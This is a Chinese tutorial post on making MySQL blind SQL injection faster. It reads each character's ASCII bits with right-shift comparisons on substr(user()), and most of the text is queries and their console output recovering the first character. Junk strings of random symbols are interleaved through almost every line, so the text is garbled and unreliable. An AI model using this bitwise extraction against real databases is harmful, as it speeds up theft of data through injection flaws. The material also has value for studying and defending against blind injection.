关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



3 w% J& ?+ ]+ Q& O" k! w& Y下面将以查询mysql数据库当中user()的第一位为例:
5 v$ e& w2 y8 U4 y, h

0 Q' l  O0 y9 g6 g
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


! t: |1 N% y! k/ P: g& I8 j
+ n1 {( |" j$ n8 X) [* T; {首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;


8 W0 g. u. ]- h2 K. Q
/ E6 ~- F+ F, k3 P( c; k$ o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

  D& k$ R+ @1 _* ~  `- b; G' B

% t  \$ l) j# q/ R- S3 s3 }第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 P1 w$ F" c) ?8 M5 s
, }! V; G& o/ `8 g. n5 \$ l

' |- ?+ i/ H9 w如果运算结果为1,说明第一位为0,不为1
& X& y) U" g" U; Y+ ~


  X  l3 P) T" s1 i/ F+————————————–+
& x! t* u. y8 p+ X) H2 y% X, V
; |) O" Z$ [  q* z! E| (ascii((substr(user(),1,1))) >> 7)=0 |
1 B9 L  K' S6 F/ F
+————————————–+
- F5 h% H; C8 V5 c
| 1 |

+————————————–+
! l3 R" c" D  x: @+ B0 N
0 s6 i$ g. _3 X3 N7 D7 k1 v1 row in set (0.00 sec)

, f6 f* q4 }% ?. j+ G0 x这样我们就确定这个8bit的ascii的第一位为0
- K1 y. g6 l6 y. S" J4 D) A


6 N7 g  ]4 v' M8 Y! C第二次我们来做6次右偏移来确定前两位

* G- t# `' }  p" o9 u! f

前两位可能是01或00,即依然可以与0做比较,

7 y/ y. i  `: L, @' Ymysql> select (ascii((substr(user(),1,1))) >> 6)=0;
; S! M5 o8 D% h% `8 K
) m( s/ d2 x( w/ c$ a; Y+————————————–+
$ F$ p3 J; }; d, \  _1 v0 N
| (ascii((substr(user(),1,1))) >> 6)=0 |
0 C6 ~$ n/ D2 g
+————————————–+
. G" e' n: \! k. b; R
9 c  F5 {0 l- w  a5 o| 0 |

+————————————–+

1 row in set (0.00 sec)
# r. r. ~, k% w+ B2 [' M


结果为0,即第二位为1

! @) w* u- W' e

1 |6 b$ ]- e1 S0 m$ F开始猜测前三位为010或011
0 {, e3 n. c& [; t1 L9 y
6 g) K) f8 h; F, h
; n, U, ~2 b6 _" P- s
让我们看看010和011的ascii码是多少


% g7 t( Q8 H5 e' A- ^& v$ G
* \. m! m: q0 C+ H" j分别查询select b’011′ select b’010′
' I2 }; w3 V/ s) H( g6 a


4 I& Q+ L7 H1 x. T# a获得结果 010 = 2 011 = 3
; Q5 y- p! A1 g: i' f. l- n


- B- K6 t& i" \执行如下sql:

  |+ H5 C1 \  b  b) ?# G( a* y
; k* ?, F' d' _6 ~) H% w7 c
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

- b- D' ^2 F) `3 Q9 y" V4 m+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
0 d& P; }& t; G5 ^/ T
+————————————–+
! w& ]- l" O3 o' V# U
* \! v0 |, n/ Y+ |6 t2 r0 [| 0 |

+————————————–+
4 B' W( b  \, p2 |7 P& p
0 ~; L; Y$ C* ?% v即前三位不为010,而是011
1 G% q. T: r. O; d0 d


+ V7 n8 u) n9 |) ?直到获得最后一位



最终结果为:01110010
+ l, J8 X% N  T+ }! d: O. n


转换一下:



select b’01110010′

& W$ B" ?% Y( T4 c

查询结果
( t% {2 v4 |6 p2 @; K3 ]* y3 e
& k& e  P7 j( }/ ?( P4 p6 J
- B; h  H: F% {9 R% x6 G
+————-+
. I# Y% ~$ ?1 l1 v" D
| b’01110010′ |

6 C( M; {* ^4 X% k+ p3 l. @+————-+

| r |

+————-+
# A' B5 H) Q- I. r" n
1 row in set (0.00 sec)

; s1 _2 C& o$ M8 c( }9 s% J
6 c+ m3 ]4 F% V# d) C% d+ D, e  U
* l6 e( x4 T" c! B4 s. F这样我们就获得了user()的第一位.其它位依此类推
: F& ?% n. K3 @+ B0 {
+ ]' m: I- Z; L5 z( N# E